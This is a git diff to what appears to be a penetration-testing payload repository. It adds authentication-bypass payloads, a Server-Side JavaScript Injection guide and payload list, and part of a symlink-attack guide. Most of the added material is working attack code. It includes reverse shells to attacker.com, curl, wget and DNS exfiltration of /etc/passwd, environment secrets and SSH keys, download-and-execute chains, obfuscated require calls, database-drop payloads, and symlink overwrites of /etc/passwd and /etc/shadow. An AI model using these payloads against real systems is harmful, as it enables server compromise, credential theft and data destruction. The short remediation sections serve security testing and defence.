diff --git a/Authentication-Bypass/auth-bypass-payloads.txt b/Authentication-Bypass/auth-bypass-payloads.txt index aec8aa7..11dcfb6 100644 --- a/Authentication-Bypass/auth-bypass-payloads.txt +++ b/Authentication-Bypass/auth-bypass-payloads.txt @@ -312,3 +312,142 @@ verified=false&verified=true # Skip step 2 in multi-step authentication # Reuse old session tokens # Replay old authentication requests + +# ============================================ +# COMMON BUG BOUNTY FINDINGS +# ============================================ + +# JWT "none" algorithm bypass +Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9. +alg: none + +# JWT weak secret brute force +# Try common secrets: secret, password, 123456, jwt, key + +# Account takeover via email change +email=victim@example.com&new_email=attacker@example.com +# Then reset password using attacker's email + +# Broken access control via UUID manipulation +user_id=550e8400-e29b-41d4-a716-446655440000 +# Try sequential or predictable UUIDs + +# Authentication bypass via forced browsing +/admin/dashboard +/api/v1/admin/users +/internal/admin +/console +/actuator +/swagger-ui.html +/debug + +# User enumeration via timing attacks +username=existing_user (slower response) +username=nonexistent (faster response) + +# Password policy bypass +password=Pass123!@#$%^&*()_+{}[]|:;<>,.?/~` +# Very long password that might bypass length checks +password=AAAAA....(10000 chars) + +# Multi-account linking exploitation +link_account=victim@example.com +oauth_connect=victim_account_id + +# Session fixation via URL +?PHPSESSID=attacker_session_id +?session=attacker_controlled_value +?token=known_token + +# Authentication via social login manipulation +oauth_id=victim_oauth_id +provider=google&user_id=victim_id + +# Register with existing email via race condition +# Send 10 simultaneous registration requests with same email + +# Account takeover via referral code +referral_code=victim_referral +invite_code=admin_invite + +# Authentication bypass via API version manipulation +/api/v1/login (with strict auth) +/api/v0/login (might have weak auth) +/api/beta/login +/api/internal/login + +# Backup authentication endpoints +/login.php.bak +/auth.php~ +/login.php.old +/authentication.php.backup + +# Default development credentials +username=dev&password=dev +username=developer&password=developer123 +username=staging&password=staging123 +username=debug&password=debug + +# Privilege escalation via user role manipulation +role=user&role=admin +user_type=regular&user_type=administrator +is_privileged=false&is_privileged=true +access_level=1&access_level=99 + +# Account takeover via subdomain takeover +# If auth uses subdomain cookies, takeover auth.example.com + +# Bypass via file upload to authentication directory +# Upload .htaccess to disable authentication +# Upload web shell to /admin/.htaccess + +# Authentication bypass via cache poisoning +X-Forwarded-Host: attacker.com +# Cache the response and serve to all users + +# Login CSRF to force login as attacker +
+ + +
+ +# Insecure direct object reference in auth +/auth/verify/USER_ID_1 +/auth/verify/USER_ID_2 +/auth/activate/TOKEN_1 + +# Authentication via header injection +Cookie: authenticated=true; admin=true +Cookie: PHPSESSID=admin_session; role=administrator + +# Time-based authentication bypass +# Set system time to future/past to bypass token expiration +timestamp=9999999999 +valid_until=2099-01-01 +expires=253402300799 + +# Biometric authentication bypass +# Send empty biometric data +fingerprint= +face_id=null +biometric_token= + +# MFA bypass via backup codes +backup_code=000000 +recovery_code=111111 +emergency_code=123456 + +# Authentication via registration endpoint abuse +/register?username=admin&password=new_pass&force=true +/signup?email=admin@example.com&override=true + +# Subdomain authentication inheritance +# Login at login.example.com transfers to admin.example.com + +# Cross-site authentication via postMessage +postMessage({type:'auth',token:'admin_token'}, '*') + +# Authentication bypass via request method override +X-HTTP-Method-Override: GET +X-Method-Override: GET +# Change POST to GET to bypass CSRF and auth checks diff --git a/README.md b/README.md index 7437c87..2ab9610 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,7 @@ This repository contains a complete collection of testing payloads organized by - **[XSS (Cross-Site Scripting)](./XSS/)** - Client-side code injection - **[Command Injection](./Command-Injection/)** - OS command execution & symbolic link attacks - **[SSTI (Server-Side Template Injection)](./SSTI/)** - Template engine exploitation & RCE +- **[SSJI (Server-Side JavaScript Injection)](./SSJI/)** - Node.js code injection & RCE - **[CSV Injection](./CSV-Injection/)** - Formula injection in spreadsheets - **[LDAP Injection](./LDAP-Injection/)** - Directory service manipulation - **[Log Injection](./Log-Injection/)** - Log file manipulation @@ -33,6 +34,8 @@ This repository contains a complete collection of testing payloads organized by - **[SSRF](./SSRF/)** - Server-side request forgery - **[Deserialization](./Deserialization/)** - Insecure deserialization - **[File Upload](./File-Upload/)** - Malicious file upload & RCE techniques +- **[Symbolic Link Attacks](./Symbolic-Link-Attacks/)** - Symlink exploitation & file system attacks +- **[Timing Attacks](./Timing-Attacks/)** - Side-channel timing analysis & user enumeration **Configuration & Design:** - **[Security Misconfiguration](./Security-Misconfiguration/)** - Default credentials, misconfigurations @@ -43,6 +46,9 @@ This repository contains a complete collection of testing payloads organized by - **[Weak Cryptography](./Weak-Cryptography/)** - Weak crypto implementations - **[Vulnerable Components](./Vulnerable-Components/)** - Known vulnerable libraries +**Network & Anonymity:** +- **[Tor-Based Attacks](./Tor-Based-Attacks/)** - Tor anonymity exploitation & onion service testing + ## 🎯 Purpose This repository serves as a comprehensive reference for security professionals to: diff --git a/SSJI/README.md b/SSJI/README.md new file mode 100644 index 0000000..a0fadc2 --- /dev/null +++ b/SSJI/README.md @@ -0,0 +1,543 @@ +# Server-Side JavaScript Injection (SSJI) + +## Description +Server-Side JavaScript Injection (SSJI) is a vulnerability that occurs when user-controlled input is evaluated or executed as JavaScript code on the server side. This commonly affects Node.js applications, but can also impact other server-side JavaScript environments like MongoDB queries, ElectronJS applications, and server-side rendering frameworks. + +## How SSJI Works +Unlike client-side XSS, SSJI executes JavaScript code on the server, potentially allowing attackers to: +- Execute arbitrary system commands +- Access server files and sensitive data +- Bypass authentication and authorization +- Manipulate database queries +- Achieve Remote Code Execution (RCE) + +## Common Vulnerable Functions + +### Node.js +- `eval()` - Directly evaluates JavaScript code +- `Function()` constructor - Creates and executes functions +- `setTimeout()/setInterval()` with string arguments +- `vm.runInNewContext()` without proper sandboxing +- `child_process.exec()` with unsanitized input +- Template engines (Handlebars, Pug, EJS) with unsafe rendering + +### MongoDB +- `$where` operator - Evaluates JavaScript in queries +- `mapReduce()` - Can execute arbitrary JavaScript +- `$function` aggregation operator + +## Common Attack Vectors +- User input fields +- JSON API parameters +- Template rendering +- MongoDB queries +- Configuration files +- Cookie values +- HTTP headers +- File upload metadata +- Server-side rendering (SSR) + +## Testing Methodology & PoC Examples + +### PoC 1: Basic eval() Injection + +**Vulnerability:** User input passed directly to `eval()`. + +**Vulnerable Code:** +```javascript +// Vulnerable Node.js code +app.get('/calculate', (req, res) => { + const result = eval(req.query.expression); + res.json({ result }); +}); +``` + +**Steps to Test:** +1. Identify input that might be evaluated +2. Test with mathematical expressions +3. Inject JavaScript code + +**Request:** +```http +GET /calculate?expression=2+2 HTTP/1.1 +Host: example.com +# Normal response: {"result": 4} + +GET /calculate?expression=require('child_process').execSync('whoami').toString() HTTP/1.1 +Host: example.com +# RCE: Returns username +``` + +**Payload Examples:** +```javascript +2+2 +Math.random() +require('fs').readFileSync('/etc/passwd', 'utf8') +require('child_process').execSync('cat /etc/passwd').toString() +global.process.mainModule.require('child_process').execSync('id').toString() +``` + +--- + +### PoC 2: Function Constructor Injection + +**Vulnerability:** Using Function constructor with user input. + +**Vulnerable Code:** +```javascript +app.post('/execute', (req, res) => { + const fn = new Function('return ' + req.body.code); + const result = fn(); + res.json({ result }); +}); +``` + +**Request:** +```http +POST /execute HTTP/1.1 +Host: example.com +Content-Type: application/json + +{"code": "require('child_process').execSync('ls -la').toString()"} +``` + +**Payloads:** +```javascript +require('fs').readFileSync('/etc/passwd', 'utf8') +process.env +global.process.mainModule.constructor._load('child_process').execSync('whoami').toString() +``` + +--- + +### PoC 3: MongoDB $where Injection + +**Vulnerability:** User input in MongoDB `$where` queries. + +**Vulnerable Code:** +```javascript +// Vulnerable MongoDB query +app.get('/users', async (req, res) => { + const users = await User.find({ + $where: `this.username == '${req.query.username}'` + }); + res.json(users); +}); +``` + +**Request:** +```http +GET /users?username=admin' || '1'=='1 HTTP/1.1 +Host: example.com +# Returns all users + +GET /users?username=admin'; return true; // HTTP/1.1 +Host: example.com +# Bypasses query, returns all users +``` + +**Payloads:** +```javascript +admin' || '1'=='1 +'; return true; // +'; return this.password.match(/^a/); // +'; var http = require('http'); return true; // +'; db.users.drop(); return true; // +``` + +--- + +### PoC 4: Template Injection (Handlebars, Pug, EJS) + +**Vulnerability:** Unsafe template rendering with user input. + +**Vulnerable Handlebars Code:** +```javascript +const Handlebars = require('handlebars'); +app.get('/greet', (req, res) => { + const template = Handlebars.compile('Hello {{name}}!'); + const result = template({ name: req.query.name }); + res.send(result); +}); +``` + +**Handlebars SSJI Payloads:** +```handlebars +{{#with "s" as |string|}} + {{#with "e"}} + {{#with split as |conslist|}} + {{this.pop}} + {{this.push (lookup string.sub "constructor")}} + {{this.pop}} + {{#with string.split as |codelist|}} + {{this.pop}} + {{this.push "return require('child_process').execSync('whoami');"}} + {{this.pop}} + {{#each conslist}} + {{#with (string.sub.apply 0 codelist)}} + {{this}} + {{/with}} + {{/each}} + {{/with}} + {{/with}} + {{/with}} +{{/with}} +``` + +**EJS Template Injection:** +```javascript +<%= global.process.mainModule.require('child_process').execSync('cat /etc/passwd') %> +<%= require('child_process').execSync('ls -la').toString() %> +``` + +**Pug Template Injection:** +```pug +#{global.process.mainModule.require('child_process').execSync('id')} +#{function(){return require('child_process').execSync('whoami')}()} +``` + +--- + +### PoC 5: vm.runInNewContext() Bypass + +**Vulnerability:** Improper use of Node.js VM module. + +**Vulnerable Code:** +```javascript +const vm = require('vm'); +app.post('/execute', (req, res) => { + const sandbox = {}; + const result = vm.runInNewContext(req.body.code, sandbox); + res.json({ result }); +}); +``` + +**Sandbox Escape Payloads:** +```javascript +this.constructor.constructor('return process')() +this.constructor.constructor('return global.process.mainModule.require("child_process").execSync("whoami").toString()')() +(function(){return this.constructor.constructor('return process')()})() +({}).constructor.constructor('return this.process.mainModule.require("child_process").execSync("id").toString()')() +``` + +--- + +### PoC 6: setTimeout/setInterval String Evaluation + +**Vulnerability:** Using setTimeout/setInterval with string arguments. + +**Vulnerable Code:** +```javascript +app.post('/schedule', (req, res) => { + setTimeout(req.body.callback, 1000); + res.json({ scheduled: true }); +}); +``` + +**Payloads:** +```javascript +require('child_process').exec('curl attacker.com/?data=$(cat /etc/passwd)') +require('fs').writeFileSync('/tmp/pwned', 'hacked') +global.process.exit(1) +``` + +--- + +### PoC 7: JSON.parse with Prototype Pollution + +**Vulnerability:** Unsafe parsing leading to prototype pollution and code execution. + +**Request:** +```http +POST /api/update HTTP/1.1 +Host: example.com +Content-Type: application/json + +{ + "__proto__": { + "isAdmin": true, + "toString": "require('child_process').execSync('whoami').toString()" + } +} +``` + +--- + +### PoC 8: Express Server-Side Rendering + +**Vulnerability:** Unsafe SSR with user-controlled templates. + +**Vulnerable Code:** +```javascript +app.get('/render', (req, res) => { + res.render('template', { + userInput: req.query.input + }); +}); +``` + +**If template uses unsafe rendering:** +``` +input=<%= global.process.mainModule.require('child_process').execSync('id') %> +``` + +--- + +### PoC 9: child_process with Unsanitized Input + +**Vulnerability:** Command injection via child_process. + +**Vulnerable Code:** +```javascript +const { exec } = require('child_process'); +app.get('/ping', (req, res) => { + exec(`ping -c 4 ${req.query.host}`, (error, stdout) => { + res.send(stdout); + }); +}); +``` + +**Payloads:** +```bash +127.0.0.1; cat /etc/passwd +127.0.0.1 && whoami +127.0.0.1 | nc attacker.com 4444 -e /bin/bash +`curl attacker.com/?data=$(cat /etc/passwd)` +$(curl attacker.com/?data=$(whoami)) +``` + +--- + +### PoC 10: MongoDB mapReduce Injection + +**Vulnerability:** User input in MongoDB mapReduce operations. + +**Vulnerable Code:** +```javascript +app.post('/aggregate', async (req, res) => { + const result = await User.mapReduce( + function() { eval(userInput); emit(this._id, 1); }, + function(k, v) { return Array.sum(v); }, + { out: "result" } + ); +}); +``` + +**Payload:** +```javascript +db.users.find().forEach(function(user) { + db.stolen.insert(user); +}); +``` + +--- + +## Exploitation Techniques + +### 1. Remote Code Execution +```javascript +require('child_process').execSync('bash -i >& /dev/tcp/attacker.com/4444 0>&1') +require('child_process').spawn('nc', ['-e', '/bin/bash', 'attacker.com', '4444']) +``` + +### 2. File System Access +```javascript +require('fs').readFileSync('/etc/passwd', 'utf8') +require('fs').writeFileSync('/tmp/backdoor.js', 'malicious code') +require('fs').readdirSync('/').toString() +``` + +### 3. Environment Variable Exfiltration +```javascript +process.env +JSON.stringify(process.env) +``` + +### 4. Database Access +```javascript +require('mongoose').connection.db.admin().listDatabases() +``` + +### 5. Module Loading +```javascript +require('module')._load('child_process') +global.process.mainModule.require('fs') +``` + +## Tools for Testing + +### 1. **Manual Testing with cURL** +```bash +curl "https://example.com/api?expr=require('os').userInfo()" +curl -X POST https://example.com/execute \ + -H "Content-Type: application/json" \ + -d '{"code":"global.process.mainModule.require(\"child_process\").execSync(\"id\").toString()"}' +``` + +### 2. **Burp Suite** +- Intercept requests +- Inject SSJI payloads in parameters +- Use Intruder for automated testing + +### 3. **Custom Scripts** +```javascript +const axios = require('axios'); + +const payloads = [ + 'require("fs").readFileSync("/etc/passwd", "utf8")', + 'require("child_process").execSync("whoami").toString()', + 'global.process.mainModule.require("child_process").execSync("id").toString()' +]; + +for (const payload of payloads) { + axios.post('https://example.com/execute', { + code: payload + }).then(res => { + console.log(`Payload: ${payload}`); + console.log(`Result: ${res.data}`); + }); +} +``` + +### 4. **MongoDB Testing** +```javascript +const MongoClient = require('mongodb').MongoClient; + +// Test $where injection +db.users.find({ + $where: "this.username == 'admin' || true" +}); +``` + +## Exploitation Impact + +- **Critical:** Remote Code Execution (RCE) +- **High:** Server compromise, data exfiltration +- **Sensitive Data Access:** Database credentials, environment variables, files +- **Denial of Service:** Process termination, resource exhaustion +- **Lateral Movement:** Access to internal networks + +## Remediation + +### 1. **Never Use eval() or Function()** +```javascript +// Bad +const result = eval(userInput); + +// Good - Use safe alternatives +const result = math.evaluate(userInput); // Using math.js library +``` + +### 2. **Sanitize Input** +```javascript +// Validate and sanitize all user input +const validator = require('validator'); +if (!validator.isNumeric(input)) { + throw new Error('Invalid input'); +} +``` + +### 3. **Use Safe Alternatives** +```javascript +// Bad +exec(`command ${userInput}`); + +// Good +execFile('command', [userInput]); +``` + +### 4. **Avoid $where in MongoDB** +```javascript +// Bad +User.find({ $where: `this.username == '${input}'` }); + +// Good +User.find({ username: input }); +``` + +### 5. **Secure Template Rendering** +```javascript +// Use safe template rendering options +app.set('view options', { + allowProtoProperties: false, + allowProtoMethodsByDefault: false +}); +``` + +### 6. **Input Validation** +```javascript +const Joi = require('joi'); +const schema = Joi.object({ + expression: Joi.string().regex(/^[0-9+\-*/() ]+$/) +}); +const { error, value } = schema.validate(req.body); +``` + +### 7. **Least Privilege** +- Run Node.js with minimal permissions +- Use containers with restricted capabilities +- Implement proper file system permissions + +### 8. **Content Security Policy** +```javascript +app.use(helmet.contentSecurityPolicy({ + directives: { + defaultSrc: ["'self'"], + scriptSrc: ["'self'"] + } +})); +``` + +### 9. **Disable Dangerous Features** +```javascript +// Disable eval in strict mode +'use strict'; + +// Use VM2 instead of vm for better sandboxing +const { VM } = require('vm2'); +const vm = new VM({ + timeout: 1000, + sandbox: {} +}); +``` + +### 10. **Security Auditing** +- Regular code reviews +- Use linters (ESLint with security plugins) +- Dependency scanning (npm audit, Snyk) +- Penetration testing + +## Detection and Monitoring + +### 1. **Log Suspicious Activity** +```javascript +// Log eval usage +const originalEval = eval; +eval = function(...args) { + logger.warn('eval() called', { args }); + return originalEval(...args); +}; +``` + +### 2. **Monitor System Calls** +- Watch for unexpected child processes +- Monitor file system access +- Track network connections + +### 3. **Runtime Protection** +```javascript +// Freeze dangerous globals +Object.freeze(require); +Object.freeze(global); +``` + +## References + +- [OWASP - Server-Side JavaScript Injection](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection) +- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/) +- [MongoDB Security Checklist](https://docs.mongodb.com/manual/administration/security-checklist/) +- [Avoiding eval and new Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!) + +## Payloads + +See `ssji-payloads.txt` for a comprehensive list of SSJI payloads and injection techniques. diff --git a/SSJI/ssji-payloads.txt b/SSJI/ssji-payloads.txt new file mode 100644 index 0000000..93862fa --- /dev/null +++ b/SSJI/ssji-payloads.txt @@ -0,0 +1,411 @@ +# Server-Side JavaScript Injection (SSJI) Payloads + +# ============================================ +# 1. BASIC eval() INJECTION +# ============================================ + +# Simple expressions +2+2 +Math.random() +Date.now() +JSON.stringify({}) + +# Information disclosure +process.version +process.platform +process.arch +process.pid +process.cwd() +process.env +global +this + +# File system access +require('fs').readFileSync('/etc/passwd', 'utf8') +require('fs').readFileSync('/etc/shadow', 'utf8') +require('fs').readFileSync('/proc/self/environ', 'utf8') +require('fs').readdirSync('/').toString() +require('fs').readdirSync('/home').toString() +require('fs').readFileSync('package.json', 'utf8') +require('fs').readFileSync('.env', 'utf8') + +# ============================================ +# 2. REMOTE CODE EXECUTION (RCE) +# ============================================ + +# Basic command execution +require('child_process').execSync('whoami').toString() +require('child_process').execSync('id').toString() +require('child_process').execSync('pwd').toString() +require('child_process').execSync('ls -la').toString() +require('child_process').execSync('cat /etc/passwd').toString() +require('child_process').execSync('uname -a').toString() + +# Reverse shell +require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1') +require('child_process').exec('nc -e /bin/bash attacker.com 4444') +require('child_process').spawn('nc', ['-e', '/bin/bash', 'attacker.com', '4444']) + +# Data exfiltration +require('child_process').execSync('curl attacker.com/?data=$(cat /etc/passwd|base64)').toString() +require('child_process').execSync('wget --post-file=/etc/passwd attacker.com').toString() + +# Write backdoor +require('fs').writeFileSync('/tmp/backdoor.js', 'malicious code') +require('fs').writeFileSync('shell.php', '') + +# ============================================ +# 3. FUNCTION CONSTRUCTOR INJECTION +# ============================================ + +# Basic Function constructor +new Function('return 2+2')() +new Function('return process.version')() +new Function('return require("os").userInfo()')() + +# RCE via Function constructor +new Function('return require("child_process").execSync("whoami").toString()')() +new Function('return global.process.mainModule.require("child_process").execSync("id").toString()')() + +# ============================================ +# 4. MONGODB $where INJECTION +# ============================================ + +# Basic MongoDB injection +admin' || '1'=='1 +' || true || ' +' || '1'=='1' || ' +'; return true; // +admin'; return true; // + +# MongoDB data exfiltration +'; return this.password.match(/^a/); // +'; return this.email.includes("admin"); // +'; return this.role == "admin"; // + +# MongoDB enumeration +'; var users = db.users.find(); return true; // +'; db.users.find().forEach(function(u){print(u)}); return true; // + +# MongoDB command execution (if possible) +'; require('child_process').execSync('whoami'); return true; // +'; var fs = require('fs'); fs.readFileSync('/etc/passwd'); return true; // + +# MongoDB DoS +'; while(true){}; // +'; db.users.drop(); return true; // +'; db.dropDatabase(); return true; // + +# ============================================ +# 5. TEMPLATE INJECTION (HANDLEBARS) +# ============================================ + +# Handlebars RCE +{{#with "s" as |string|}} + {{#with "e"}} + {{#with split as |conslist|}} + {{this.pop}} + {{this.push (lookup string.sub "constructor")}} + {{this.pop}} + {{#with string.split as |codelist|}} + {{this.pop}} + {{this.push "return require('child_process').execSync('whoami');"}} + {{this.pop}} + {{#each conslist}} + {{#with (string.sub.apply 0 codelist)}} + {{this}} + {{/with}} + {{/each}} + {{/with}} + {{/with}} + {{/with}} +{{/with}} + +# Simplified Handlebars payload +{{this}} +{{this.constructor}} +{{this.constructor.constructor}} + +# ============================================ +# 6. EJS TEMPLATE INJECTION +# ============================================ + +<%= global.process.mainModule.require('child_process').execSync('whoami') %> +<%= require('child_process').execSync('cat /etc/passwd').toString() %> +<%= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8') %> +<%= process.env %> +<%= JSON.stringify(process.env) %> + +# ============================================ +# 7. PUG/JADE TEMPLATE INJECTION +# ============================================ + +#{global.process.mainModule.require('child_process').execSync('id')} +#{function(){return require('child_process').execSync('whoami')}()} +#{require('child_process').execSync('cat /etc/passwd').toString()} +- var x = global.process.mainModule.require('child_process').execSync('ls').toString() += x + +# ============================================ +# 8. VM SANDBOX ESCAPE +# ============================================ + +# Constructor chain escape +this.constructor.constructor('return process')() +this.constructor.constructor('return global')() +({}).constructor.constructor('return this')() + +# Process access +this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString() +(function(){return this.constructor.constructor('return process')()})() +({}).constructor.constructor('return global.process.mainModule.require("child_process").execSync("id").toString()')() + +# Alternative escapes +(function(){return this})().constructor.constructor('return process')() +arguments.callee.caller.constructor('return process')() + +# ============================================ +# 9. PROTOTYPE POLLUTION TO RCE +# ============================================ + +# Prototype pollution +{"__proto__": {"isAdmin": true}} +{"__proto__": {"polluted": "yes"}} +{"constructor": {"prototype": {"isAdmin": true}}} + +# Pollution leading to RCE +{"__proto__": {"toString": "require('child_process').execSync('whoami').toString()"}} +{"__proto__": {"valueOf": "require('child_process').execSync('id')"}} + +# ============================================ +# 10. SETTIMEOUT/SETINTERVAL INJECTION +# ============================================ + +require('child_process').exec('curl attacker.com/?data=$(whoami)') +require('fs').writeFileSync('/tmp/pwned', 'hacked') +require('child_process').execSync('nc attacker.com 4444 -e /bin/bash') +global.process.exit(1) + +# ============================================ +# 11. REQUIRE VARIATIONS +# ============================================ + +# Direct require +require('child_process') +require('fs') +require('net') +require('http') + +# Global require +global.require('child_process') +global.process.mainModule.require('child_process') + +# Module constructor +process.mainModule.constructor._load('child_process') +global.process.mainModule.constructor._load('fs') + +# ============================================ +# 12. ENVIRONMENT VARIABLE EXFILTRATION +# ============================================ + +process.env +JSON.stringify(process.env) +process.env.PATH +process.env.HOME +process.env.USER +process.env.SECRET_KEY +process.env.DATABASE_URL +process.env.API_KEY + +# ============================================ +# 13. FILE READ VARIATIONS +# ============================================ + +# Read sensitive files +require('fs').readFileSync('/etc/passwd', 'utf8') +require('fs').readFileSync('/etc/shadow', 'utf8') +require('fs').readFileSync('/etc/hosts', 'utf8') +require('fs').readFileSync('/proc/self/environ', 'utf8') +require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf8') +require('fs').readFileSync('config/database.yml', 'utf8') +require('fs').readFileSync('.env', 'utf8') +require('fs').readFileSync('package.json', 'utf8') + +# Directory listing +require('fs').readdirSync('/').toString() +require('fs').readdirSync('/etc').toString() +require('fs').readdirSync('/home').toString() +require('fs').readdirSync('.').toString() + +# ============================================ +# 14. COMMAND INJECTION VIA CHILD_PROCESS +# ============================================ + +# exec variations +require('child_process').exec('cat /etc/passwd', (e,o)=>console.log(o)) +require('child_process').execSync('whoami').toString() +require('child_process').execFileSync('ls', ['-la']).toString() + +# spawn variations +require('child_process').spawn('cat', ['/etc/passwd']) +require('child_process').spawnSync('id').stdout.toString() + +# ============================================ +# 15. NETWORK OPERATIONS +# ============================================ + +# HTTP request +require('http').get('http://attacker.com/?data=exfiltrated') +require('https').get('https://attacker.com/?data=' + process.env.SECRET) + +# DNS exfiltration +require('dns').resolve4(process.env.SECRET + '.attacker.com') + +# Socket connection +require('net').connect(4444, 'attacker.com') + +# ============================================ +# 16. PROCESS MANIPULATION +# ============================================ + +process.exit(1) +process.kill(process.pid) +process.chdir('/') +process.binding('spawn_sync') + +# ============================================ +# 17. CRYPTO MODULE ACCESS +# ============================================ + +require('crypto').randomBytes(16).toString('hex') +require('crypto').getHashes() +require('crypto').getCiphers() + +# ============================================ +# 18. OS MODULE ACCESS +# ============================================ + +require('os').userInfo() +require('os').hostname() +require('os').platform() +require('os').arch() +require('os').cpus() +require('os').networkInterfaces() +require('os').tmpdir() +require('os').homedir() + +# ============================================ +# 19. PATH MODULE FOR TRAVERSAL +# ============================================ + +require('path').resolve('/etc/passwd') +require('path').join(__dirname, '../../../etc/passwd') + +# ============================================ +# 20. MONGODB SPECIFIC INJECTIONS +# ============================================ + +# $function aggregation (MongoDB 4.4+) +{$function: { + body: function() { return require('child_process').execSync('whoami').toString(); }, + args: [], + lang: "js" +}} + +# mapReduce injection +{ + map: function() { require('child_process').exec('curl attacker.com/?data=pwned'); emit(this._id, 1); }, + reduce: function(k, v) { return Array.sum(v); } +} + +# ============================================ +# 21. EXPRESS SPECIFIC +# ============================================ + +# res.render with unsafe data +<%= user.input %> +#{user.input} +{{user.input}} + +# ============================================ +# 22. WEBPACK/BUNDLER SPECIFIC +# ============================================ + +__webpack_require__ +__non_webpack_require__ + +# ============================================ +# 23. ELECTRON SPECIFIC +# ============================================ + +require('electron').remote.require('child_process') +require('electron').ipcRenderer.send('exploit') + +# ============================================ +# 24. OBFUSCATED PAYLOADS +# ============================================ + +# String concatenation +req+'uire'('child_'+'process').exec('whoami') + +# Unicode escaping +require('\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073') + +# Hex encoding +require(Buffer.from('6368696c645f70726f63657373', 'hex').toString()) + +# Base64 +require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString()) + +# Computed property access +global['pro'+'cess'].mainModule['req'+'uire']('child_process') + +# ============================================ +# 25. NESTING AND CHAINING +# ============================================ + +require('child_process').exec('wget http://attacker.com/shell.sh -O /tmp/s.sh && bash /tmp/s.sh') +require('child_process').execSync('curl attacker.com/$(cat /etc/passwd | base64)').toString() + +# ============================================ +# 26. TIME-BASED BLIND SSJI +# ============================================ + +require('child_process').execSync('sleep 5') +setTimeout(function(){}, 5000) +require('child_process').execSync('ping -c 5 attacker.com') + +# ============================================ +# 27. OUT-OF-BAND DATA EXFILTRATION +# ============================================ + +require('child_process').execSync('curl attacker.com -d "$(cat /etc/passwd)"') +require('child_process').execSync('wget --post-data="$(env)" attacker.com') +require('child_process').execSync('nslookup $(whoami).attacker.com') + +# ============================================ +# 28. WRITESTREAM FOR PERSISTENCE +# ============================================ + +require('fs').createWriteStream('/tmp/backdoor.js').write('malicious code') + +# ============================================ +# 29. REGEX DOS (ReDoS) via SSJI +# ============================================ + +/(a+)+b/.test('aaaaaaaaaaaaaaaaaaaaaa!') +/(a|a)*b/.test('aaaaaaaaaaaaaaaaaaaaaa!') + +# ============================================ +# 30. TESTING PAYLOADS +# ============================================ + +# Detection payloads +throw new Error('SSJI Test') +console.log('SSJI_TEST_' + Date.now()) +require('fs').writeFileSync('/tmp/ssji_test_' + Date.now(), 'test') + +# Simple arithmetic to confirm execution +7*7 +Math.sqrt(16) +[1,2,3].join(',') diff --git a/Symbolic-Link-Attacks/README.md b/Symbolic-Link-Attacks/README.md new file mode 100644 index 0000000..f51138a --- /dev/null +++ b/Symbolic-Link-Attacks/README.md @@ -0,0 +1,628 @@ +# Symbolic Link Attacks (Symlink Attacks) + +## Description +Symbolic link attacks, also known as symlink attacks, exploit the behavior of symbolic links (symlinks) in file systems. A symbolic link is a file that points to another file or directory. Attackers can manipulate symlinks to trick applications into accessing, modifying, or deleting files they shouldn't have access to, leading to privilege escalation, information disclosure, or denial of service. + +## How Symbolic Link Attacks Work +When an application follows a symbolic link without proper validation: +1. Attacker creates a symlink pointing to a sensitive file +2. Application attempts to write/read to the symlink path +3. Operation is performed on the target file instead +4. Results in unauthorized file access, modification, or deletion + +## Common Vulnerabilities + +### 1. **Time-of-Check-Time-of-Use (TOCTOU)** +Application checks file permissions, attacker replaces file with symlink before use. + +### 2. **Insecure Temporary File Handling** +Applications create predictable temp files that can be symlinked. + +### 3. **Log File Symlink** +Replacing log files with symlinks to sensitive files. + +### 4. **Archive Extraction** +Extracting archives containing malicious symlinks. + +### 5. **File Upload Symlink** +Uploading symlinks via file upload functionality. + +### 6. **Configuration File Symlink** +Symlinking configuration files to gain access or privileges. + +### 7. **Backup/Restore Symlink** +Exploiting backup processes that follow symlinks. + +## Common Attack Vectors +- Temporary file operations +- Log file handling +- File upload functionality +- Archive extraction (tar, zip) +- Backup/restore operations +- Cache directories +- Configuration file access +- Web server document roots + +## Testing Methodology & PoC Examples + +### PoC 1: Basic Symlink Attack on Temp Files + +**Vulnerability:** Application creates predictable temp files. + +**Steps to Test:** +1. Identify temp file creation pattern +2. Create symlink before application creates file +3. Application writes to symlink, modifying target file + +**Attack:** +```bash +# Attacker predicts temp file location +# Application will create /tmp/app_12345.tmp + +# Attacker creates symlink first +ln -s /etc/passwd /tmp/app_12345.tmp + +# When application writes to /tmp/app_12345.tmp, +# it actually writes to /etc/passwd +``` + +**Python Example:** +```python +import os +import time + +# Predict temporary file name +temp_file = f"/tmp/app_{os.getpid()}.tmp" + +# Create symlink to target +os.symlink("/etc/shadow", temp_file) + +# Wait for application to write to temp file +# Application unknowingly writes to /etc/shadow +``` + +--- + +### PoC 2: TOCTOU Race Condition with Symlinks + +**Vulnerability:** Time gap between checking and using a file. + +**Steps to Test:** +1. Application checks if file is safe +2. Attacker quickly replaces file with symlink +3. Application uses the symlink + +**Bash Script:** +```bash +#!/bin/bash +# Exploit TOCTOU vulnerability + +TARGET="/path/to/sensitive/file" +EXPLOITED="/path/to/app/data/file.txt" + +while true; do + # Remove existing file + rm -f "$EXPLOITED" 2>/dev/null + + # Create normal file (passes checks) + touch "$EXPLOITED" + + # Quickly replace with symlink + rm -f "$EXPLOITED" + ln -s "$TARGET" "$EXPLOITED" +done +``` + +**C Example:** +```c +// Vulnerable code +if (access(filename, W_OK) == 0) { + // RACE CONDITION WINDOW + // Attacker can replace file with symlink here + + FILE *fp = fopen(filename, "w"); + fprintf(fp, "sensitive data"); + fclose(fp); +} +``` + +--- + +### PoC 3: Log File Symlink Attack + +**Vulnerability:** Application writes to log files without checking for symlinks. + +**Steps to Test:** +1. Identify log file location +2. Replace log file with symlink to target +3. Application logs trigger write to target file + +**Attack:** +```bash +# Application writes to /var/log/app.log + +# Attacker replaces log file +rm /var/log/app.log +ln -s /etc/passwd /var/log/app.log + +# Application's log writes now corrupt /etc/passwd +``` + +**Request to trigger logging:** +```http +POST /api/endpoint HTTP/1.1 +Host: example.com 